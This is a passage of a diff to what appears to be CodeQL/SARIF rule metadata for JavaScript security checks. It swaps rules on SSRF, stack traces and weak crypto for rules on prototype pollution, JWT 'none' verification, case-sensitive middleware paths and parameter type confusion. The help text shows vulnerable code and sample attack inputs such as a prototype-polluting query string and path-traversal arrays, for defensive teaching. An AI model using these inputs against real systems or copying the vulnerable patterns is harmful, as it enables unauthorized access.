pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n let config = lodash.merge({}, {\n prefs: req.query.prefs\n });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-134" ], - "description" : "Using external input in format strings can lead to garbled output.", - "id" : "js/tainted-format-string", + "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ], + "description" : "Recursively merging a user-controlled object into another object\n can allow an attacker to modify the built-in Object prototype,\n and possibly escalate to remote code execution or cross-site scripting.", + "id" : "js/prototype-pollution", "kind" : "path-problem", - "name" : "Use of externally-controlled format string", + "name" : "Prototype-polluting merge call", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "7.3" + "problem.severity" : "error", + "security-severity" : "6.1" } }, { - "id" : "js/request-forgery", - "name" : "js/request-forgery", + "id" : "js/exposure-of-private-files", + "name" : "js/exposure-of-private-files", "shortDescription" : { - "text" : "Server-side request forgery" + "text" : "Exposure of private files" }, "fullDescription" : { - "text" : "Making a network request with user-controlled data in the URL allows for request forgery attacks." + "text" : "Exposing a node_modules folder, or the project folder to the public, can cause exposure of private information." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n // BAD: `target` is controlled by the attacker\n http.get('https://' + target + \".example.com/data/\", res => {\n // process request response ...\n });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n let subdomain;\n if (target === 'EU') {\n subdomain = \"europe\"\n } else {\n subdomain = \"world\"\n }\n\n // GOOD: `subdomain` is controlled by the server\n http.get('https://' + subdomain + \".example.com/data/\", res => {\n // process request response ...\n });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n", - "markdown" : "# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n // BAD: `target` is controlled by the attacker\n http.get('https://' + target + \".example.com/data/\", res => {\n // process request response ...\n });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n let subdomain;\n if (target === 'EU') {\n subdomain = \"europe\"\n } else {\n subdomain = \"world\"\n }\n\n // GOOD: `subdomain` is controlled by the server\n http.get('https://' + subdomain + \".example.com/data/\", res => {\n // process request response ...\n });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n" + "text" : "# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n", + "markdown" : "# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-918" ], - "description" : "Making a network request with user-controlled data in the URL allows for request forgery attacks.", - "id" : "js/request-forgery", - "kind" : "path-problem", - "name" : "Server-side request forgery", + "tags" : [ "security", "external/cwe/cwe-200", "external/cwe/cwe-219", "external/cwe/cwe-548" ], + "description" : "Exposing a node_modules folder, or the project folder to the public, can cause exposure\n of private information.", + "id" : "js/exposure-of-private-files", + "kind" : "problem", + "name" : "Exposure of private files", "precision" : "high", - "problem.severity" : "error", - "security-severity" : "9.1" + "problem.severity" : "warning", + "security-severity" : "6.5" } }, { - "id" : "js/stack-trace-exposure", - "name" : "js/stack-trace-exposure", + "id" : "js/jwt-missing-verification", + "name" : "js/jwt-missing-verification", "shortDescription" : { - "text" : "Information exposure through a stack trace" + "text" : "JWT missing secret or public key verification" }, "fullDescription" : { - "text" : "Propagating stack trace information to an external user can unintentionally reveal implementation details that are useful to an attacker for developing a subsequent exploit." + "text" : "The application does not verify the JWT payload with a cryptographic secret or public key." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Information exposure through a stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n var body;\n try {\n body = handleRequest(req);\n }\n catch (err) {\n res.statusCode = 500;\n res.setHeader(\"Content-Type\", \"text/plain\");\n res.end(err.stack); // NOT OK\n return;\n }\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/json\");\n res.setHeader(\"Content-Length\", body.length);\n res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n var body;\n try {\n body = handleRequest(req);\n }\n catch (err) {\n res.statusCode = 500;\n res.setHeader(\"Content-Type\", \"text/plain\");\n log(\"Exception occurred\", err.stack);\n res.end(\"An exception occurred\"); // OK\n return;\n }\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/json\");\n res.setHeader(\"Content-Length\", body.length);\n res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n", - "markdown" : "# Information exposure through a stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n var body;\n try {\n body = handleRequest(req);\n }\n catch (err) {\n res.statusCode = 500;\n res.setHeader(\"Content-Type\", \"text/plain\");\n res.end(err.stack); // NOT OK\n return;\n }\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/json\");\n res.setHeader(\"Content-Length\", body.length);\n res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n var body;\n try {\n body = handleRequest(req);\n }\n catch (err) {\n res.statusCode = 500;\n res.setHeader(\"Content-Type\", \"text/plain\");\n log(\"Exception occurred\", err.stack);\n res.end(\"An exception occurred\"); // OK\n return;\n }\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/json\");\n res.setHeader(\"Content-Length\", body.length);\n res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n" + "text" : "# JWT missing secret or public key verification\nApplications decoding JSON Web Tokens (JWT) may be misconfigured due to the `None` algorithm.\n\nThe `None` algorithm is selected by calling the `verify()` function with a falsy value instead of a cryptographic secret or key. The `None` algorithm disables the integrity enforcement of a JWT payload and may allow a malicious actor to make unintended changes to a JWT payload leading to critical security issues like privilege escalation.\n\n\n## Recommendation\nCalls to `verify()` functions should use a cryptographic secret or key to decode JWT payloads.\n\n\n## Example\nIn the example below, `false` is used to disable the integrity enforcement of a JWT payload. This may allow a malicious actor to make changes to a JWT payload.\n\n\n```javascript\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"none\" })\njwt.verify(token, false, { algorithms: [\"HS256\", \"none\"] })\n```\nThe following code fixes the problem by using a cryptographic secret or key to decode JWT payloads.\n\n\n```javascript\n\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"HS256\" }) \njwt.verify(token, secret, { algorithms: [\"HS256\", \"none\"] })\n```\n\n## References\n* Auth0 Blog: [Meet the \"None\" Algorithm](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#Meet-the--None--Algorithm).\n* Common Weakness Enumeration: [CWE-347](https://cwe.mitre.org/data/definitions/347.html).\n", + "markdown" : "# JWT missing secret or public key verification\nApplications decoding JSON Web Tokens (JWT) may be misconfigured due to the `None` algorithm.\n\nThe `None` algorithm is selected by calling the `verify()` function with a falsy value instead of a cryptographic secret or key. The `None` algorithm disables the integrity enforcement of a JWT payload and may allow a malicious actor to make unintended changes to a JWT payload leading to critical security issues like privilege escalation.\n\n\n## Recommendation\nCalls to `verify()` functions should use a cryptographic secret or key to decode JWT payloads.\n\n\n## Example\nIn the example below, `false` is used to disable the integrity enforcement of a JWT payload. This may allow a malicious actor to make changes to a JWT payload.\n\n\n```javascript\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"none\" })\njwt.verify(token, false, { algorithms: [\"HS256\", \"none\"] })\n```\nThe following code fixes the problem by using a cryptographic secret or key to decode JWT payloads.\n\n\n```javascript\n\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"HS256\" }) \njwt.verify(token, secret, { algorithms: [\"HS256\", \"none\"] })\n```\n\n## References\n* Auth0 Blog: [Meet the \"None\" Algorithm](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#Meet-the--None--Algorithm).\n* Common Weakness Enumeration: [CWE-347](https://cwe.mitre.org/data/definitions/347.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-209", "external/cwe/cwe-497" ], - "description" : "Propagating stack trace information to an external user can\n unintentionally reveal implementation details that are useful\n to an attacker for developing a subsequent exploit.", - "id" : "js/stack-trace-exposure", - "kind" : "path-problem", - "name" : "Information exposure through a stack trace", - "precision" : "very-high", + "tags" : [ "security", "external/cwe/cwe-347" ], + "description" : "The application does not verify the JWT payload with a cryptographic secret or public key.", + "id" : "js/jwt-missing-verification", + "kind" : "problem", + "name" : "JWT missing secret or public key verification", + "precision" : "high", "problem.severity" : "warning", - "security-severity" : "5.4" + "security-severity" : "7.0" } }, { - "id" : "js/weak-cryptographic-algorithm", - "name" : "js/weak-cryptographic-algorithm", + "id" : "js/case-sensitive-middleware-path", + "name" : "js/case-sensitive-middleware-path", "shortDescription" : { - "text" : "Use of a broken or weak cryptographic algorithm" + "text" : "Case-sensitive middleware path" }, "fullDescription" : { - "text" : "Using broken or weak cryptographic algorithms can compromise security." + "text" : "Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker.\n\nMany cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be.\n\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n", - "markdown" : "# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker.\n\nMany cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be.\n\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n" + "text" : "# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n if (!req.user.isAdmin) {\n res.status(401).send('Unauthorized');\n } else {\n next();\n }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n if (!req.user.isAdmin) {\n res.status(401).send('Unauthorized');\n } else {\n next();\n }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n", + "markdown" : "# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n if (!req.user.isAdmin) {\n res.status(401).send('Unauthorized');\n } else {\n next();\n }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n if (!req.user.isAdmin) {\n res.status(401).send('Unauthorized');\n } else {\n next();\n }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-327", "external/cwe/cwe-328" ], - "description" : "Using broken or weak cryptographic algorithms can compromise security.", - "id" : "js/weak-cryptographic-algorithm", - "kind" : "path-problem", - "name" : "Use of a broken or weak cryptographic algorithm", + "tags" : [ "security", "external/cwe/cwe-178" ], + "description" : "Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths.", + "id" : "js/case-sensitive-middleware-path", + "kind" : "problem", + "name" : "Case-sensitive middleware path", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "7.5" + "security-severity" : "7.3" } }, { - "id" : "js/biased-cryptographic-random", - "name" : "js/biased-cryptographic-random", + "id" : "js/type-confusion-through-parameter-tampering", + "name" : "js/type-confusion-through-parameter-tampering", "shortDescription" : { - "text" : "Creating biased random numbers from a cryptographically secure source" + "text" : "Type confusion through parameter tampering" }, "fullDescription" : { - "text" : "Some mathematical operations on random numbers can cause bias in the results and compromise security." + "text" : "Sanitizing an HTTP request parameter may be ineffective if the user controls its type." + }, + "defaultConfiguration" : { + "enabled" : true, + "level" : "error" + }, + "help" : { + "text" : "# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n var file = req.param(\"file\");\n if (file.indexOf(\"..\") !== -1) {\n // BAD\n // we forbid relative paths that contain ..\n // as these could leave the public directory\n res.status(400).send(\"Bad request\");\n } else {\n var absolute = path.resolve(\"/public/\" + file);\n console.log(\"Sending file: %s\", absolute);\n res.sendFile(absolute);\n }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n var file = req.param(\"file\");\n if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n // GOOD\n // we forbid relative paths that contain ..\n // as these could leave the public directory\n res.status(400).send(\"Bad request\");\n } else {\n var absolute = path.resolve(\"/public/\" + file);\n console.log(\"Sending file: %s\", absolute);\n res.sendFile(absolute);\n }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n", + "markdown" : "# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n var file = req.param(\"file\");\n if (file.indexOf(\"..\") !== -1) {\n // BAD\n // we forbid relative paths that contain ..\n // as these could leave the public directory\n res.status(400).send(\"Bad request\");\n } else {\n var absolute = path.resolve(\"/public/\" + file);\n console.log(\"Sending file: %s\", absolute);\n res.sendFile(absolute);\n }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a 